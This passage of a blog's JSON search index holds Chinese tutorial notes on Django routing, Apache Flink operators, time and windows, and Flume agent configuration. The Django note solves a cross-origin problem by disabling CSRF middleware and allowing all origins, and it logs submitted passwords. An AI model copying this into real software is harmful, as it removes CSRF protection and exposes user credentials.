})"},{"title":"","date":"2019-09-22T07:09:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Django/urlpatterns.html","permalink":"https://blog.mhuig.top/notes/Django/urlpatterns","excerpt":"","text":"Django 添加新的路由 Django 添加新的路由 Django 添加新的路由首先 urls.py 文件添加路由urlpatterns = [ url(r'^admin/', admin.site.urls), # alt+enter url(r\"^login/\",views.login), url(r\"^app/addStu/\",views.addStu), url(r\"^register\",views.register)] 在 views.py 中创建函数 registerdef register(request): print(\"register\") user = request.POST.get(\"user\") print(user) psd = request.POST.get(\"psd\") print(psd) #解决跨域问题 response = HttpResponse(user) response[\"Access-Control-Allow-Origin\"] = \"*\" response[\"Access-Control-Allow-Methods\"] = \"POST, GET, OPTIONS\" response[\"Access-Control-Max-Age\"] = \"1000\" response[\"Access-Control-Allow-Headers\"] = \"*\" return response 由于 ajax 跨域的问题，也需要在 settings.py 文件中设置，将选中的模块注释MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', # 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware',] 我们的 ajax 请求在前端中使用的，在使用 ajax 之前，我们需要将 jquery 链接到我们的项目中<script src=\"js/jquery-2.1.0.js\" type=\"text/javascript\" charset=\"utf-8\"></script>src:jquery的链接地址 调用 ajax 请求$.ajax({ type:\"post\",//请求的类型 url:\"http://127.0.0.1:8000/register/\",//请求的地址[路由] async:true, //声明异步请求 data:{\"user\":user,\"psd\":psd},//将参数传递到后台 dataType:\"text\", //声明返回的数据的类型，json success:function (data) { //请求成功的时候调用的函数，data：后台返回给我们的数据 alert(data) }, error:function () { //请求的失败的时候，打印 alert(\"请求失败\") }})"},{"title":"","date":"2022-05-10T06:36:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"notes/Echarts/index.html","permalink":"https://blog.mhuig.top/notes/Echarts/","excerpt":".fa-secondary{opacity:.4} Echarts","text":".fa-secondary{opacity:.4} Echarts Echarts .prev-next{ display: none !important; }"},{"title":"","date":"2022-05-10T01:55:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"notes/Flink/index.html","permalink":"https://blog.mhuig.top/notes/Flink/","excerpt":".fa-secondary{opacity:.4} Flink","text":".fa-secondary{opacity:.4} Flink Flink .prev-next{ display: none !important; }"},{"title":"","date":"2020-01-11T06:12:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Flink/operator.html","permalink":"https://blog.mhuig.top/notes/Flink/operator","excerpt":"","text":"Operator Flink 常用的算子 Flink 数据处理模型在 Flink 应用程序中，无论你的应用程序是批程序，还是流程序，都是下图这种模型，有数据源（source），有数据下游（sink） Source: 数据源 基于本地集合、基于文件、基于网络套接字 自定义的 source Apache kafka、RabbitMQ Transformation: 数据转换 Map / FlatMap / Filter / KeyBy / Reduce / Fold / Aggregations / Window / WindowAll / Union / Window join / Split / Select / Project Sink: 接收器 写入文件、打印出来、写入 Socket 、自定义的 Sink 自定义的 Sink Apache kafka、RabbitMQ、MySQL、ElasticSearch、Apache Cassandra、HDFS Flink 算子 OperatorMap获取一个元素并生成一个元素 FlatMap获取一个元素并生成零个、一个或多个元素 filter KeyByKeyBy 在逻辑上是基于 key 对流进行分区，相同的 Key 会被分到一个分区 AggregationsDataStream API 支持各种聚合， 这些函数可以应用于 KeyedStream 以获得 Aggregations 聚合 常用的方法有 min、minBy、max、minBy、sum max 和 maxBy 之间的区别在于 max 返回流中的最大值，但 maxBy 返回具有最大值的键， min 和 minBy 同理 WindowWindow 函数允许按时间或其他条件对现有 KeyedStream 进行分组 10 秒的时间窗口的和（聚合） socketStream.keyBy(0).window(Time.seconds(10)).sum(1) UnionUnion 函数将两个或多个数据流结合在一起, 这样后面在使用的时候就只需使用一个数据流就行了 inputStream.union(inputStream1, inputStream2, ...) val socketStream = env.socketTextStream(\"localhost\", 9000, '\\n')val textStream = env.readTextFile(\"/word.txt\")socketStream.union(textStream) Window Join通过一些 key 将同一个 window 的两个数据流 join 起来 stream.join(otherStream) .where(<KeySelector>) .equalTo(<KeySelector>) .window(<WindowAssigner>) .apply(<JoinFunction>) inputStream.join(inputStream1) .where(0).equalTo(1) .window(Time.seconds(5)) .apply (new JoinFunction () {...}); Split根据条件将流拆分为两个或多个流 Select从拆分流中选择特定流，那么就得搭配使用 Select 算子 通常搭配 Split 算子一起使用"},{"title":"","date":"2020-01-09T06:58:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Flink/overview.html","permalink":"https://blog.mhuig.top/notes/Flink/overview","excerpt":"","text":"Overview Flink 概述 Apache Flink 是一个面向分布式数据流处理和批量数据处理的开源计算平台，提供支持流处理和批处理两种类型应用的功能 Flink 是什么 Apache Flink 是一个面向分布式数据流处理和批量数据处理的开源计算平台，提供支持流处理和批处理两种类型应用的功能 Apache Flink 的前身是柏林理工大学一个研究性项目， 在 2014 被 Apache 孵化器所接受，然后迅速地成为了 Apache Software Foundation 的顶级项目之一 代码主要由 Java 实现，部分代码是 Scala Flink 主要处理的场景就是流数据，批处理只是流数据的一个极限特例 数据类型有界流（bounded stream） 批量数据 有界流有定义流的开始，也有定义流的结束。有界流可以在摄取所有数据后再进行计算。有界流所有数据可以被排序，所以并不需要有序摄取。有界流处理通常被称为批处理。 有界流通常被称为有界数据集，数据的特点为有限不会改变的数据集合 常见的有界流 T + 1 的销售数据 11 月的汽车销售数量 2018 年全国电影票房 无界流（unbounded stream） 实时数据 有定义流的开始，但没有定义流的结束。它们会无休止地产生数据。无界流的数据必须持续处理，即数据被摄取后需要立刻处理。我们不能等到所有数据都到达再处理，因为输入是无限的，在任何时候输入都不会完成。处理无界数据通常要求以特定顺序摄取数据，例如事件发生的顺序，以便能够推断结果的完整性。 无界流通常被称为无穷数据集，数据的特点为无穷集成的数据集合 常见的无界流 用户与客户断的实时交互数据 应用时产生的日志 金融市场的实时交易记录 有界流和无界流 数据运算模型流式计算 只要数据一直在产生，计算就持续的进行 处理无界数据集 批处理 在预定义的时间内运行计算，当计算完成时释放计算机资源 处理有界数据集 Flink 组件栈 Deploy本地 Local 一个 Java 虚拟机 Single JVM（IDE 中直接运行） 集群 Cluster Standalone（start-cluster.sh） YARN MESOS K8s 云 Cloud GCE google AWS/EC2 amazon MapR Aliyun Program Code Flink 应用程序代码 Job Client 任务执行起点，负责接受用户的程序代码、创建数据流、提交数据流给 Job Manager 、返回结果 Job Manager 作业管理器协调管理程序 Task Manager 从 Job Manager 接受需要部署的 Task RuntimeRuntime 层提供了支持 Flink 计算的全部核心实现，比如：支持分布式 Stream 处理、JobGraph 到 ExecutionGraph 的映射、调度等等，为上层 API 层提供基础服务 API&Libaries 核心 APIs DataSet API：批处理，处理有界的数据集 DataStream API：流式处理，处理有界或无界的数据集 Table API 以表为中心声明的 DSL select、project、join、group-by、aggregate操作 支持与 DataStream/DataSet 混合使用 SQL Flink 提供的最高级抽象 支持与 DataStream/DataSet 混合使用 面向批处理的 Lib FlinkML 机器学习 Gelly 图处理 面向流处理的类库 CEP 复杂事件处理 SQL-Like Table的关系操作 Flink 的基本编程模型 Source 数据输入 基于文件 基于本地集合 基于网络套接字 自定义：Apache Kafka、RabbitMQ Transformation 数据转换 Map、FlatMap、Filter、Reduce、Window Sink 数据输出 写文件 打印 socket 自定义：Apache Kafka、HDFS、MySQL 大数据框架对比（流式 / 实时数据处理） 大数据 Lamdba 框架"},{"title":"","date":"2020-01-10T01:19:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Flink/program.html","permalink":"https://blog.mhuig.top/notes/Flink/program","excerpt":"","text":"Programming Model Flink 编程模型 Apache Flink 是一个面向分布式数据流处理和批量数据处理的开源计算平台，提供支持流处理和批处理两种类型应用的功能 Flink 环境准备 Flink 编写程序需要依赖 Java——JDK 项目使用 Maven 管理依赖 ——Maven 开发工具使用 IDEA——IntelliJ IDEA JDK 8https://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html Mavenhttp://maven.apache.org/download.cgi IntelliJ IDEAhttps://www.jetbrains.com/idea/download/#section=windows 下载 Flinkhttps://flink.apache.org/downloads.html 安装 Scala Plugins点击 File -> Settings 菜单 , 或 Ctrl + Alt + S 快捷键 . 打开设置面板 . 并切换到 Plugins 插件视图搜索 Scala 点击 Install Flink 项目模版基于 Java 的项目模版Flink WordCount Java 源码 GitHub 在命令行使用 maven 创建 Flink 项目mvn archetype:generate \\-DarchetypeGroupId=org.apache.flink \\-DarchetypeArtifactId=flink-quickstart-java \\-DarchetypeVersion=1.8.3 根据提示输入 groupId、artifactId groupId：com.qst（所在公司、学校、组织官网网址的反写） artifactId：wordcount-java（项目名称） 项目目录结构 使用 mvn 命令创建项目后我们会得到一个如下结构的项目目录 编译项目 在项目所在目录执行 mvn clean package 命令对项目进行编译 这时 maven 会下载 Flink 项目需要的依赖包并编译项目 编译完成后产生一个 target/<artifact-id>-<version>.jar 文件 基于 Scala 的项目模版mvn archetype:generate \\-DarchetypeGroupId=org.apache.flink \\-DarchetypeArtifactId=flink-quickstart-scala \\-DarchetypeVersion=1.8.3 Flink WordCountFlink WordCount scala 源码 GitHub 创建 WrodCount 项目在命令行使用 maven 创建 Flink 项目mvn archetype:generate \\-DarchetypeGroupId=org.apache.flink \\-DarchetypeArtifactId=flink-quickstart-scala \\-DarchetypeVersion=1.8.3 根据提示在输入 groupId、artifactId groupId：com.qst（所在公司、学校、组织官网网址的反写） artifactId：wordcount-scala（项目名称） 其它选项使用默认值 将项目导入 IDEA 在 IDEA 中将 flink-wordcount 项目导入 选择 Import Project 找到 wordcount-scala 所在目录将项目导入 IDEA 开发 WordCount 程序第一步：设定执行环境 运行 Flink 程序的第一步就是获得相应的执行环境，执行环境决定了程序在什么环境执行（本地 / 集群） 不同的运行环境也决定了程序的类型 批处理 ExecutionEnvironment 流处理 StreamExecutionEnvironment 第二步：指定数据源 读取数据 定义执行环境后需要获得需要处理的数据，将外部数据转换成 DateStream 或 DataSet如下方法读取所示使用 readTextFile() 方法读取文件中的数据并转换成 DataStream 数据集 val source = env.readTextFile(\"/word.txt\") 第三步：对数据集执行转换操作 Flink 中的 Transformation 操作通过不同的 Operator 来实现对数据的操作 Operator 内部通过 Function 接口完成数据处理 在 DataStream API 和 DataSet API 中提供了大量的转换操作flatMap、map、filter、keyBy source.flatMap(line => line.toLowerCase.split(\"\\\\W+\")) //将文本转换成数组.filter(_.length > 0) //过滤空字符串.map(word => (word, 1)) //转换成 key-value 接口.keyBy(0) //按照指定字段（key）对数据进行分区.sum(1) //执行求和运算 第四步：输出结果经过转换后形成了最终结果，通常需要将结果数据输出到外部系统中 source.flatMap(line => line.toLowerCase.split(\"\\\\W+\")) //将文本转换成数组.filter(_.length > 0) //过滤空字符串.map(word => (word, 1)) //转换成 key-value 接口.keyBy(0) //按照指定字段（key）对数据进行分区.sum(1) //执行求和运算.print() //输出到控制台//.writeAsText(\"/word_out.txt\") //写入外部文件 第五步：触发程序执行所有的计算逻辑完成之后，需要调用 StreamExecutionEnvironment 的 execute 方法来触发应用程序的执行 env.execute(\"Streaming Scala WordCount\") 运行 & 编译 WordCount 程序编译 WordCount 应用程序 在程序根目录执行 mvn clean package 命令进行编译 这时 maven 会下载 Flink 项目需要的依赖包并编译项目 编译完成后产生一个 target/<artifact-id>-<version>.jar 文件"},{"title":"","date":"2020-01-10T01:53:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Flink/socket.html","permalink":"https://blog.mhuig.top/notes/Flink/socket","excerpt":"","text":"Socket Flink 实时处理 Socket 数据 Flink Socket 源码 GitHub 通过 Maven Archetype 创建项目创建项目mvn archetype:generate \\-DarchetypeGroupId=org.apache.flink \\-DarchetypeArtifactId=flink-quickstart-scala \\-DarchetypeVersion=1.9.0 通过以上 Maven 命令进行项目创建的过程中，命令会交互式地提示用户对项目的 groupId、artifactId、version、package 等信息进行定义，且部分选项有默认值，直接回车即可。如图如果创建项目成功之后，客户端会有相应提示。 这里我们分别指定 groupId、artifactId 的信息分别如下，其余参数使用默认值 groupId：com.qst artifactId：flink-socket 检查项目对于使用 Maven 创建的项目，我们可以看到的项目结构如下所示 以上项目结构可以看出，该项目是一个 Scala 代码的项目，分别是 BatchJob.java 和 StreamingJob.java 两个文件，分别对应 Flink 批量接口 DataSet 的实例代码和流式接口的实例代码。 将项目导入 IDE项目经过上述步骤创建后，Flink 官网推荐使用 Intellij IDEA 进行后续项目开发。 编译项目项目经过上述步骤创建后，可以使用 Maven Command 命令 mvn clean package 对项目进行编译，编译完成后会在项目同级目录下生成 target/<artifactId>-<version>.jar 文件，此 jar 文件就可以通过 Web 客户端提交到集群上运行。 开发环境配置这里我们使用官网推荐的 IntelliJ IDEA 作为应用的开发的 IDE。 下载 IntelliJ IDEA用户可以通过 IntelliJ IDEA 官方地址下载安装程序，根据操作系统选择相应的程序包进行安装。 安装 Scala Plugins安装完 IntelliJ IDEA 默认是不支持 Scala 开发环境的，需要安装 Scala 插件进行支持。一下说明在 IDEA 中进行 Scala 插件的安装。 打开 IDEA IDE 后，在 IntelliJ IDEA 菜单栏中选择 Preferences 选项，然后选择 Plugins 子选项，最后在页面中选择 Marketplace，在搜索框中输入 Scala 进行搜索 在检索出来的选项列表中选择和安装 Scala 插件 点击安装后重启 IDE，Scala 编程环境即可生效 导入 Flink 项目 启动 IntelliJ IDEA，选择 Import Project，在文件选项框中选择创建好的项目，点击确定。 导入项目中选择 Import project from external mode 中的 Maven 后续选项使用默认值即可。 Flink Socket 应用程序编写 Flink Socket 应用程序代码import org.apache.flink.streaming.api.scala._object StreamingJob { def main(args: Array[String]) { //设置环境变量 val env = StreamExecutionEnvironment.getExecutionEnvironment //指定数据源，读取socket val socketStream = env.socketTextStream(\"localhost\", 9000, '\\n') //对数据集指定转换操作逻辑 val count = socketStream .flatMap(_.toLowerCase.split(\"\\\\W+\")) .filter(_.nonEmpty) .map((_, 1)) .keyBy(0) .sum(1) //将计算结果打印到控制台 count.print() //指定任务名称并触发流式任务 env.execute(\"Socket Stream\") }} 在 IDE 中测试代码在代码文件中右键运行程序 此时会报如下错误 这时我们需要在 IDEA 的 Run/Debug Configuration 中将 Include dependencies with \"Provided\" scope 选项勾选，这时我们就可以在本地 IDE 运行了 在本地测试代码首先在命令行我们现在终端开启监听端口 9000，在命令行中执行如下命令 nc -l 9000 然后在 IDE 中 右键运行 StreamingJob 类的 main 方法，运行结果如下 在 Web 客户端中运行 Job首先在项目所在目录执行 mvn clean package 进行打包，在项目的 target 目录下生成一个 flink-socket-1.0-SNAPSHOT.jar 文件在命令行我们现在终端开启监听端口 9000，在命令行中执行如下命令 nc -l 9000 在浏览器中打开 Flink Web 监控页面，在左侧选择 Submit New Job 选项，点击 右上角的 Add New 选择我们编译好的 flink-socket-1.0-SNAPSHOT.jar 文件，点击 Submit 按钮提交 Job 选择 Task Managers 选择列表中的对应 Job 点击 Stdout 选项查看执行结果"},{"title":"","date":"2020-01-10T07:12:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Flink/time.html","permalink":"https://blog.mhuig.top/notes/Flink/time","excerpt":"","text":"Time Flink 时间语义 Flink 的三种时间语义 Processing Time：事件被处理时机器的系统时间 Event Time：事件自身的时间 Ingestion Time：事件进入 Flink 的时间 Process Time事件处理时间 即事件被处理时机器的系统时间 特点 最简单的 Time 概念 最好的性能和最低的延迟 分布式和异步环境下，不能提供确定性（不能保证结果数据的准确性） 容易受到事件到达系统的速度 (如消息队列)、事件在系统内操作流动的速度和中断的影响 Event Time事件自身的时间，一般就是数据本身携带的时间 特点 数据本身携带，时间取决于数据 事件到达 Flink 之前就已经确定 必须指定如何生成 WaterMarks，用来表示 Event Time 进度的机制 无论事件什么时候到达或者其怎么排序，最后处理 Event Time 将产生完全一致和确定的结果 Ingestion Time事件进入 Flink 的时间 在数据源操作处（进入 Flink source 时），每个事件将进入 Flink 时当时的时间作为时间戳 特点 事件在进入数据源（Flink Source）时的时间作为时间戳 介于 Event Time 和 Processing Time 之间 Time 生成的位置 Flink Time 使用场景Time 的使用场景一般来说在生产环境中使用 Processing Time 和 Event Time 比较多，Ingestion Time 一般用的较少 Processing Time 使用场景Processing Time 使用场景 用户不关心事件时间，只关心这个时间窗口要有数据进来 Processing Time 的几种应用场景举例 淘宝双十一晚会大屏幕的下单总金额 Event Time 使用场景Event Time 使用场景 业务需求需要时间这个字段 Event Time 的几种应用场景举例 购物时先有下单事件、再有支付事件 机器异常检测出发的警告也需要具体的事件展示出来 商品广告及时精准推荐给用户依赖的就是用户在浏览器的时间段/频率/时长等信息 处理延迟的数据可能出现的情况影响事件到达不一定及时、乱序、延迟 网络抖动 服务可用性 消息队列的分区数据堆积 但是使用事件时间的话，就可能有这样的情况：数据源采集的数据往消息队列中发送时可能因为网络抖动、服务可用性、消息队列的分区数据堆积的影响而导致数据到达的不一定及时，可能会出现数据出现一定的乱序、延迟几分钟等，庆幸的是 Flink 支持通过 WaterMark 机制来处理这种延迟的数据 如何设置 Time 策略？val env = StreamExecutionEnvironment.getExecutionEnvironmentenv.setStreamTimeCharacteristic(TimeCharacteristic.ProcessingTime)env.setStreamTimeCharacteristic(TimeCharacteristic.EventTime)env.setStreamTimeCharacteristic(TimeCharacteristic.IngestionTime)"},{"title":"","date":"2020-01-11T01:12:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Flink/window.html","permalink":"https://blog.mhuig.top/notes/Flink/window","excerpt":"","text":"Window Flink 中的三种 Window Flink Window Demo 源码 GitHub 什么是 Window？统计经过某红绿灯的汽车数量之和？ 假设在一个红绿灯处，统计通过此红绿灯的汽车数量 可以把汽车的经过看成一个流，无穷的流，不断有汽车经过此红绿灯，因此无法统计总共的汽车数量。但是，我们可以换一种思路，每隔 15 秒，我们都将与上一次的结果进行 sum 操作（滑动聚合） 这个结果似乎还是无法回答我们的问题，根本原因在于流是无界的，我们不能限制流，但可以在有一个有界的范围内处理无界的流数据。因此，我们需要换一个问题的提法：每分钟经过某红绿灯的汽车数量之和？ 这个问题，就相当于一个定义了一个 Window（窗口），Window 的界限是 1 分钟，且每分钟内的数据互不干扰，因此也可以称为翻滚（不重合）窗口，如下图： 再考虑一种情况，每 30 秒统计一次过去 1 分钟的汽车数量之和 此时，Window 出现了重合。这样，1 个小时内会有 120 个 Window。 Window 指定时间范围内的所有数据 滚动窗口 各个窗口之间的数据不重叠（不重复） 滑动窗口 各个窗口之间的数据重叠（重复） Window 有什么作用？通常来讲，Window 就是用来对一个无限的流设置一个有限的集合，在有界的数据集上进行操作的一种机制。Window 又可以分为基于时间（Time-based）的 Window 以及基于数量（Count-based）的 window。 Flink 中的三种 WindowFlink 在 KeyedStream（DataStream 的继承类） 中提供了下面几种 Window： 以时间驱动的 Time Window 以事件数量驱动的 Count Window 以会话间隔驱动的 Session Window Time Window 正如命名那样，Time Window 根据时间来聚合流数据。 例如：一分钟的时间窗口就只会收集一分钟的数据，并在一分钟过后对窗口中的所有数据应用于下一个算子。 在 Flink 中使用 Time Window 非常简单，输入一个时间参数，这个时间参数可以利用 Time 这个类来控制，如果事前没指定 TimeCharacteristic 类型的话，则默认使用的是 ProcessingTime dataStream.keyBy(1).timeWindow(Time.minutes(1)) //time Window 每分钟统计一次数量和.sum(1); dataStream.keyBy(1).timeWindow(Time.minutes(1), Time.seconds(30)) //隔 30s 统计过去1m和.sum(1); Count WindowApache Flink 还提供计数窗口功能，如果计数窗口的值设置的为 3 ，那么将会在窗口中收集 3 个事件，并在添加第 3 个事件时才会计算窗口中所有事件的值。 dataStream.keyBy(1).countWindow(3) //统计每 3 个元素的数量之和.sum(1); dataStream.keyBy(1) .countWindow(4, 3) //每隔 3 个元素统计过去 4 个元素的数量之和.sum(1); Session WindowApache Flink 还提供了会话窗口，是什么意思呢？使用该窗口的时候你可以传入一个时间参数（表示某种数据维持的会话持续时长），如果超过这个时间，就代表着超出会话时长。 dataStream.keyBy(1).window(ProcessingTimeSessionWindows.withGap(Time.seconds(5)))//表示如果 5s 内没出现数据则认为超出会话时长，然后计算这个窗口的和.sum(1);"},{"title":"","date":"2019-05-10T06:25:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Flume/avro.html","permalink":"https://blog.mhuig.top/notes/Flume/avro","excerpt":"","text":"两个 agent 级联 Flume 两个 agent 级联 需求分析第一个 agent 负责收集文件当中的数据，通过网络发送到第二个 agent 当中去，第二个 agent 负责接收第一个 agent 发送的数据，并将数据保存到 hdfs 上面去 第一步：node02 安装 flume将 node03 机器上面解压后的 flume 文件夹拷贝到 node02 机器上面去 cd /export/serversscp -r apache-flume-1.6.0-cdh5.14.0-bin/ node02:$PWD 第二步：node02 配置 flume 配置文件在 node02 机器配置我们的 flume cd /export/servers/apache-flume-1.6.0-cdh5.14.0-bin/confvim tail-avro-avro-logger.conf tail-avro-avro-logger.conf################### Name the components on this agenta1.sources = r1a1.sinks = k1a1.channels = c1# Describe/configure the sourcea1.sources.r1.type = execa1.sources.r1.command = tail -F /export/servers/taillogs/access_loga1.sources.r1.channels = c1# Describe the sink##sink avro is a sendera1.sinks = k1a1.sinks.k1.type = avroa1.sinks.k1.channel = c1a1.sinks.k1.hostname = 192.168.52.120a1.sinks.k1.port = 4141a1.sinks.k1.batch-size = 10# Use a channel which buffers events in memorya1.channels.c1.type = memorya1.channels.c1.capacity = 1000a1.channels.c1.transactionCapacity = 100# Bind the source and sink to the channela1.sources.r1.channels = c1a1.sinks.k1.channel = c1 第三步：node02 开发定脚本文件往写入数据mkdir -p /export/servers/shells/cd /export/servers/shells/vim tail-file.sh tail-file.sh#!/bin/bashwhile truedodate >> /export/servers/taillogs/access_log; sleep 0.5;done 创建文件夹 mkdir -p /export/servers/taillogs 第四步：node03 开发 flume 配置文件在 node03 机器上开发 flume 的配置文件 cd /export/servers/apache-flume-1.6.0-cdh5.14.0-bin/confvim avro-hdfs.conf avro-hdfs.conf# Name the components on this agenta1.sources = r1a1.sinks = k1a1.channels = c1# Describe/configure the source##source avro is a receivera1.sources.r1.type = avroa1.sources.r1.channels = c1a1.sources.r1.bind = 192.168.52.120a1.sources.r1.port = 4141# Describe the sinka1.sinks.k1.type = hdfsa1.sinks.k1.hdfs.path = hdfs://node01:8020/avro/hdfs/%y-%m-%d/%H%M/a1.sinks.k1.hdfs.filePrefix = eventsa1.sinks.k1.hdfs.round = truea1.sinks.k1.hdfs.roundValue = 10a1.sinks.k1.hdfs.roundUnit = minutea1.sinks.k1.hdfs.rollInterval = 3a1.sinks.k1.hdfs.rollSize = 20a1.sinks.k1.hdfs.rollCount = 5a1.sinks.k1.hdfs.batchSize = 1a1.sinks.k1.hdfs.useLocalTimeStamp = true# Sequencefile,DataStreama1.sinks.k1.hdfs.fileType = DataStream# Use a channel which buffers events in memorya1.channels.c1.type = memorya1.channels.c1.capacity = 1000a1.channels.c1.transactionCapacity = 100# Bind the source and sink to the channela1.sources.r1.channels = c1a1.sinks.k1.channel = c1 第五步：顺序启动node03 机器启动 flume 进程 cd /export/servers/apache-flume-1.6.0-cdh5.14.0-binbin/flume-ng agent -c conf -f conf/avro-hdfs.conf -n a1 -Dflume.root.logger=INFO,console node02 机器启动 flume 进程 cd /export/servers/apache-flume-1.6.0-cdh5.14.0-bin/bin/flume-ng agent -c conf -f conf/tail-avro-avro-logger.conf -n a1 -Dflume.root.logger=INFO,console node02 机器启 shell 脚本生成文件 cd /export/servers/shellssh tail-file.sh"},{"title":"","date":"2019-05-10T06:27:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Flume/balancer.html","permalink":"https://blog.mhuig.top/notes/Flume/balancer","excerpt":"","text":"负载均衡 Flume 负载均衡 load balancer 负载均衡是用于解决一台机器 (一个进程) 无法解决所有请求而产生的一种算法。Load balancing Sink Processor 能够实现 load balance 功能，如下图 Agent1 是一个路由节点，负责将 Channel 暂存的 Event 均衡到对应的多个 Sink 组件上，而每个 Sink 组件分别连接到一个独立的 Agent 上，示例配置，如下所示： 在此处我们通过三台机器来进行模拟 flume 的负载均衡三台机器规划如下：node01：采集数据，发送到 node02 和 node03 机器上去node02：接收 node01 的部分数据node03：接收 node01 的部分数据 第一步：开发 node01 服务器的 flume 配置node01 服务器配置： cd /export/servers/apache-flume-1.6.0-cdh5.14.0-bin/confvim load_banlancer_client.conf load_banlancer_client.conf#agent namea1.channels = c1a1.sources = r1a1.sinks = k1 k2#set gruopa1.sinkgroups = g1#set channela1.channels.c1.type = memorya1.channels.c1.capacity = 1000a1.channels.c1.transactionCapacity = 100a1.sources.r1.channels = c1a1.sources.r1.type = execa1.sources.r1.command = tail -F /export/servers/taillogs/access_log# set sink1a1.sinks.k1.channel = c1a1.sinks.k1.type = avroa1.sinks.k1.hostname = node02a1.sinks.k1.port = 52020# set sink2a1.sinks.k2.channel = c1a1.sinks.k2.type = avroa1.sinks.k2.hostname = node03a1.sinks.k2.port = 52020#set sink groupa1.sinkgroups.g1.sinks = k1 k2#set failovera1.sinkgroups.g1.processor.type = load_balancea1.sinkgroups.g1.processor.backoff = truea1.sinkgroups.g1.processor.selector = round_robina1.sinkgroups.g1.processor.selector.maxTimeOut=10000 第二步：开发 node02 服务器的 flume 配置cd /export/servers/apache-flume-1.6.0-cdh5.14.0-bin/confvim load_banlancer_server.conf load_banlancer_server.conf# Name the components on this agenta1.sources = r1a1.sinks = k1a1.channels = c1# Describe/configure the sourcea1.sources.r1.type = avroa1.sources.r1.channels = c1a1.sources.r1.bind = node02a1.sources.r1.port = 52020# Describe the sinka1.sinks.k1.type = logger# Use a channel which buffers events in memorya1.channels.c1.type = memorya1.channels.c1.capacity = 1000a1.channels.c1.transactionCapacity = 100# Bind the source and sink to the channela1.sources.r1.channels = c1a1.sinks.k1.channel = c1 第三步：开发 node03 服务器 flume 配置node03 服务器配置 cd /export/servers/apache-flume-1.6.0-cdh5.14.0-bin/confvim load_banlancer_server.conf load_banlancer_server.conf# Name the components on this agenta1.sources = r1a1.sinks = k1a1.channels = c1# Describe/configure the sourcea1.sources.r1.type = avroa1.sources.r1.channels = c1a1.sources.r1.bind = node03a1.sources.r1.port = 52020# Describe the sinka1.sinks.k1.type = logger# Use a channel which buffers events in memorya1.channels.c1.type = memorya1.channels.c1.capacity = 1000a1.channels.c1.transactionCapacity = 100# Bind the source and sink to the channela1.sources.r1.channels = c1a1.sinks.k1.channel = c1 第四步：准备启动 flume 服务启动 node03 的 flume 服务 cd /export/servers/apache-flume-1.6.0-cdh5.14.0-binbin/flume-ng agent -n a1 -c conf -f conf/load_banlancer_server.conf -Dflume.root.logger=DEBUG,console 启动 node02 的 flume 服务 cd /export/servers/apache-flume-1.6.0-cdh5.14.0-binbin/flume-ng agent -n a1 -c conf -f conf/load_banlancer_server.conf -Dflume.root.logger=DEBUG,console 启动 node01 的 flume 服务 cd /export/servers/apache-flume-1.6.0-cdh5.14.0-binbin/flume-ng agent -n a1 -c conf -f conf/load_banlancer_client.conf -Dflume.root.logger=DEBUG,console 第五步：node01 服务器运行脚本产生数据cd /export/servers/shellssh tail-file.sh"},{"title":"","date":"2019-05-10T06:22:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Flume/deploy.html","permalink":"https://blog.mhuig.top/notes/Flume/deploy","excerpt":"","text":"安装部署 Flume 的安装部署 案例：使用网络 telent 命令向一台机器发送一些网络数据，然后通过 flume 采集网络端口数据 第一步：下载解压修改配置文件Flume 的安装非常简单，只需要解压即可，当然，前提是已有 hadoop 环境上传安装包到数据源所在节点上这里我们采用在第三台机器来进行安装 tar -zxvf flume-ng-1.6.0-cdh5.14.0.tar.gz -C /export/servers/cd /export/servers/apache-flume-1.6.0-cdh5.14.0-bin/confcp flume-env.sh.template flume-env.shvim flume-env.sh flume-env.shexport JAVA_HOME=/export/servers/jdk1.8.0_141 第二步：开发配置文件根据数据采集的需求配置采集方案，描述在配置文件中 (文件名可任意自定义)配置我们的网络收集的配置文件在 flume 的 conf 目录下新建一个配置文件（采集方案） vim /export/servers/apache-flume-1.6.0-cdh5.14.0-bin/conf/netcat-logger.conf netcat-logger.conf# agent namea1.sources = r1a1.sinks = k1a1.channels = c1# desc source:r1a1.sources.r1.type = netcata1.sources.r1.bind = 192.168.52.120a1.sources.r1.port = 44444# desc sink:k1a1.sinks.k1.type = logger# desc channela1.channels.c1.type = memorya1.channels.c1.capacity = 1000a1.channels.c1.transactionCapacity = 100# desc source channel sinka1.sources.r1.channels = c1a1.sinks.k1.channel = c1 第三步：启动配置文件指定采集方案配置文件，在相应的节点上启动 flume agent先用一个最简单的例子来测试一下程序环境是否正常启动 agent 去采集数据 bin/flume-ng agent -c conf -f conf/netcat-logger.conf -n a1 -Dflume.root.logger=INFO,console -c conf 指定 flume 自身的配置文件所在目录-f conf/netcat-logger.con 指定我们所描述的采集方案-n a1 指定我们这个 agent 的名字 第四步：安装 telent 准备测试在 node02 机器上面安装 telnet 客户端，用于模拟数据的发送 yum -y install telnettelnet node03 44444 # 使用 telnet 模拟数据发送 更多 source 和 sink 组件Flume 支持众多的 source 和 sink 类型，详细在官方文档http://archive.cloudera.com/cdh5/cdh/5/flume-ng-1.6.0-cdh5.14.0/FlumeUserGuide.html"},{"title":"","date":"2019-05-10T06:26:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Flume/failover.html","permalink":"https://blog.mhuig.top/notes/Flume/failover","excerpt":"","text":"高可用配置 Flume 高可用配置 角色分配Flume 